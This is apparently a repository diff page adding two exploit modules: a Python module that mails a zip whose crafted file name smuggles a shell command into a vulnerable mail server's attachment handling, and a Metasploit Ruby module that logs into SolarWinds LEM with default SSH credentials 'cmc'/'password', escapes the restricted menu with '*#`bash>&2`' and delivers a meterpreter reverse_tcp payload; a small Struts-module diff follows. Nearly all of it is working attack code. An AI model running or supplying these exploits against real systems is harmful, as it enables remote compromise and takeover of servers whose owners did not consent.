'email_from': {'type': 'string', 'description': 'Address to send from', 'required': True, 'default': 'foo@example.com'},
|
||||
'rhost': {'type': 'address', 'description': 'Target server', 'required': True, 'default': None},
|
||||
'rport': {'type': 'port', 'description': 'Target server port', 'required': True, 'default': 25}
|
||||
}}
|
||||
|
||||
def log(message, level='info'):
|
||||
print(json.dumps({'jsonrpc': '2.0', 'method': 'message', 'params': {
|
||||
'level': level,
|
||||
'message': message
|
||||
}}))
|
||||
sys.stdout.flush()
|
||||
|
||||
def send_mail(to, mailserver, cmd, mfrom, port):
|
||||
msg = MIMEMultipart()
|
||||
html = "harakiri"
|
||||
msg['Subject'] = "harakiri"
|
||||
msg['From'] = mfrom
|
||||
msg['To'] = to
|
||||
f = "harakiri.zip"
|
||||
msg.attach(MIMEText(html))
|
||||
log("Send harariki to %s, commandline: %s , mailserver %s is used for delivery"%(to, cmd, mailserver), 'debug')
|
||||
part = MIMEApplication(create_zip(cmd),Name="harakiri.zip")
|
||||
part['Content-Disposition'] = 'attachment; filename="harakiri.zip"'
|
||||
msg.attach(part)
|
||||
log("Sending mail to target server...")
|
||||
log(msg.as_string(), 'debug')
|
||||
s = smtplib.SMTP(mailserver, port)
|
||||
try:
|
||||
resp = s.sendmail(mfrom, to, msg.as_string())
|
||||
except smtplib.SMTPDataError, err:
|
||||
if err[0] == 450:
|
||||
log("Triggered bug in target server (%s)"%err[1], 'good')
|
||||
return(True)
|
||||
log("Bug not triggered in target server", 'error')
|
||||
log("it may not be vulnerable or have the attachment plugin activated", 'error')
|
||||
s.close()
|
||||
return(False)
|
||||
|
||||
class InMemoryZip(object):
|
||||
def __init__(self):
|
||||
self.in_memory_zip = StringIO.StringIO()
|
||||
def append(self, filename_in_zip, file_contents):
|
||||
zf = zipfile.ZipFile(self.in_memory_zip, "a", zipfile.ZIP_DEFLATED, False)
|
||||
zf.writestr(filename_in_zip, file_contents)
|
||||
for zfile in zf.filelist:
|
||||
zfile.create_system = 0
|
||||
return self
|
||||
def read(self):
|
||||
self.in_memory_zip.seek(0)
|
||||
return self.in_memory_zip.read()
|
||||
|
||||
def create_zip(cmd="touch /tmp/harakiri"):
|
||||
z1 = InMemoryZip()
|
||||
z2 = InMemoryZip()
|
||||
z2.append("harakiri.txt",
|
||||
"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.")
|
||||
z1.append("a\";%s;echo \"a.zip"%cmd, z2.read())
|
||||
return(z1.read())
|
||||
|
||||
if __name__ == '__main__':
|
||||
req = json.loads(os.read(0, 10000))
|
||||
if req['method'] == 'describe':
|
||||
print(json.dumps({'jsonrpc': '2.0', 'id': req['id'], 'response': metadata}))
|
||||
elif req['method'] == 'run':
|
||||
args = req['params']
|
||||
send_mail(args['email_to'], args['rhost'], args['command'], args['email_from'], int(args['rport']))
|
||||
print(json.dumps({'jsonrpc': '2.0', 'id': req['id'], 'response': {
|
||||
'message': 'Exploit completed'
|
||||
}}))
|
||||
sys.stdout.flush()
|
|
@ -0,0 +1,168 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::SSH
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "SolarWind LEM Default SSH Password Remote Code Execution",
|
||||
'Description' => %q{
|
||||
This module exploits the default credentials of SolarWind LEM. A menu system is encountered when the SSH
|
||||
service is accessed with the default username and password which is "cmc" and "password". By exploiting a
|
||||
vulnerability that exist on the menuing script, an attacker can escape from restricted shell.
|
||||
|
||||
This module was tested against SolarWinds LEM v6.3.1.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Mehmet Ince <mehmet@mehmetince.net>', # discovery & msf module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://pentest.blog/unexpected-journey-4-escaping-from-restricted-shell-and-gaining-root-access-to-solarwinds-log-event-manager-siem-product/']
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'Payload' => 'python/meterpreter/reverse_tcp',
|
||||
},
|
||||
'Platform' => ['python'],
|
||||
'Arch' => ARCH_PYTHON,
|
||||
'Targets' => [ ['Automatic', {}] ],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Mar 17 2017",
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(32022),
|
||||
OptString.new('USERNAME', [ true, 'The username for authentication', 'cmc' ]),
|
||||
OptString.new('PASSWORD', [ true, 'The password for authentication', 'password' ]),
|
||||
]
|
||||
)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
|
||||
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def rhost
|
||||
datastore['RHOST']
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def username
|
||||
datastore['USERNAME']
|
||||
end
|
||||
|
||||
def password
|
||||
datastore['PASSWORD']
|
||||
end
|
||||
|
||||
def exploit
|
||||
factory = ssh_socket_factory
|
||||
opts = {
|
||||
:auth_methods => ['keyboard-interactive'],
|
||||
:port => rport,
|
||||
:use_agent => false,
|
||||
:config => false,
|
||||
:password => password,
|
||||
:proxy => factory,
|
||||
:non_interactive => true
|
||||
}
|
||||
|
||||
opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
|
||||
|
||||
print_status("#{rhost}:#{rport} - Attempting to login...")
|
||||
|
||||
begin
|
||||
ssh = nil
|
||||
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
|
||||
ssh = Net::SSH.start(rhost, username, opts)
|
||||
end
|
||||
rescue Rex::ConnectionError
|
||||
return
|
||||
rescue Net::SSH::Disconnect, ::EOFError
|
||||
print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
|
||||
return
|
||||
rescue ::Timeout::Error
|
||||
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
|
||||
return
|
||||
rescue Net::SSH::AuthenticationFailed
|
||||
print_error "#{rhost}:#{rport} SSH - Failed authentication due wrong credentials."
|
||||
rescue Net::SSH::Exception => e
|
||||
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
|
||||
return
|
||||
end
|
||||
|
||||
if ssh
|
||||
payload_executed = false
|
||||
print_good("SSH connection is established.")
|
||||
|
||||
ssh.open_channel do |channel|
|
||||
print_status("Requesting pty... We need it in order to interact with menuing system.")
|
||||
|
||||
channel.request_pty do |ch, success|
|
||||
raise ::RuntimeError, "Could not request pty!" unless success
|
||||
print_good("Pty successfully obtained.")
|
||||
|
||||
print_status("Requesting a shell.")
|
||||
ch.send_channel_request("shell") do |ch, success|
|
||||
raise ::RuntimeError, "Could not open shell!" unless success
|
||||
print_good("Remote shell successfully obtained.")
|
||||
end
|
||||
end
|
||||
|
||||
channel.on_data do |ch, data|
|
||||
if data.include? "cmc "
|
||||
print_good("Step 1 is done. Managed to access terminal menu.")
|
||||
channel.send_data("service\n")
|
||||
end
|
||||
|
||||
if data.include? "service "
|
||||
print_good("Step 2 is done. Managed to select 'service' sub menu.")
|
||||
channel.send_data("restrictssh\n")
|
||||
end
|
||||
|
||||
if data.include? "Press <enter> to configure restriction on the SSH service to the Manager Appliance"
|
||||
print_good("Step 3 is done. Managed to start 'restrictssh' function.")
|
||||
channel.send_data("*#`bash>&2`\n")
|
||||
end
|
||||
|
||||
if data.include? "Are the hosts"
|
||||
print_good("Step 4 is done. We are going to try escape from jail shell.")
|
||||
channel.send_data("Y\n")
|
||||
end
|
||||
|
||||
if data.include? "/usr/local/contego"
|
||||
if payload_executed == false
|
||||
print_good("Sweet..! Escaped from jail.")
|
||||
print_status("Delivering payload...")
|
||||
channel.send_data("python -c \"#{payload.encoded}\"\n")
|
||||
payload_executed = true
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
begin
|
||||
ssh.loop unless session_created?
|
||||
rescue Errno::EBADF => e
|
||||
elog(e.message)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -92,9 +92,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
else
|
||||
resp = send_payload(generate_payload_exe)
|
||||
end
|
||||
|
||||
require'pp'
|
||||
pp resp.headers if resp
|
||||
end
|
||||
|
||||
def send_struts_request(ognl, extra_header: '')
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue